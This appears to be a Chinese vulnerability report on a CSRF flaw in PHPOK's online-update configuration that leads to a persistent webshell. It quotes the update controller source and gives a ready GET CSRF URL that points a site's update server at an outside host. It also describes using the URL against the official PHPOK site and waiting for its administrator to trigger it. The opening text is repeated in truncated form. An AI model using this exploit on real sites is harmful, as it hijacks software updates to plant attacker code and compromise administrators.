### 简要描述: PHPOK CSRF 永久GETSHELL ### 详细说明: PHPOK 最新版中,在线升级系统配置 可以被CSRF恶意串改。导致更新程序指向黑客的网站。 [<img src="https://images.seebug.org/upload/201504/19202027f86ca8e205dc6b0921b28109672c2b58.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/19202027f86ca8e205dc6b0921b28109672c2b58.png) 查看源码不难逆向出XML的构造格式。 \phpok\framework\admin\update_control.php ``` //在线升级 function main_f() { if(!$this->popedom['update']){ error('您没有在线升级权限',$this->url('update'),'error'); } $info = $this->service(4); $rs = $this->lib('json')->decode($info); if($rs['status'] != 'ok'){ error('没有找到升级包信息',$this->url('update'),'error'); } if(!$rs['content'] || count($rs['content']) < 1){ error('没有符合您要求的升级包',$this->url('update'),'error'); } if(is_file($this->dir_root.'data/update.php')){ include($this->dir_root.'data/update.php'); $this->assign('uconfig',$uconfig); } $rslist = array(); foreach($rs['content'] as $key=>$value){ $id = $value['phpok-id']; $version =...
### 简要描述: PHPOK CSRF 永久GETSHELL ### 详细说明: PHPOK 最新版中,在线升级系统配置 可以被CSRF恶意串改。导致更新程序指向黑客的网站。 [<img src="https://images.seebug.org/upload/201504/19202027f86ca8e205dc6b0921b28109672c2b58.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/19202027f86ca8e205dc6b0921b28109672c2b58.png) 查看源码不难逆向出XML的构造格式。 \phpok\framework\admin\update_control.php ``` //在线升级 function main_f() { if(!$this->popedom['update']){ error('您没有在线升级权限',$this->url('update'),'error'); } $info = $this->service(4); $rs = $this->lib('json')->decode($info); if($rs['status'] != 'ok'){ error('没有找到升级包信息',$this->url('update'),'error'); } if(!$rs['content'] || count($rs['content']) < 1){ error('没有符合您要求的升级包',$this->url('update'),'error'); } if(is_file($this->dir_root.'data/update.php')){ include($this->dir_root.'data/update.php'); $this->assign('uconfig',$uconfig); } $rslist = array(); foreach($rs['content'] as $key=>$value){ $id = $value['phpok-id']; $version = substr($value['phpok-id'],0,1).'.'.substr($value['phpok-id'],1,1).'.'.substr($value['phpok-id'],2); $time = date("Y-m-d H:i:s",$value['phpok-time']); $size = $this->lib('common')->num_format($value['phpok-size']); $rslist[] = array('id'=>$id,'version'=>$version,'time'=>$time,'size'=>$size,'type'=>'zip'); } $this->assign('rslist',$rslist); $this->view('update'); } ``` ### 漏洞证明: 根据PHPOK的变量覆盖漏洞。 直接构造得出GET型CSRF URL。 ``` http://www.phpok.com/admin.php?c=update&f=save&status=1&server=http://update.tiesec.org/d&data=1 ``` 以下是PHPOK官方实战演练: [<img src="https://images.seebug.org/upload/201504/19202104dc8f6106cbad88014a514cf2d814d1b1.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/19202104dc8f6106cbad88014a514cf2d814d1b1.png) 发布后,静静的等待管理员的查看。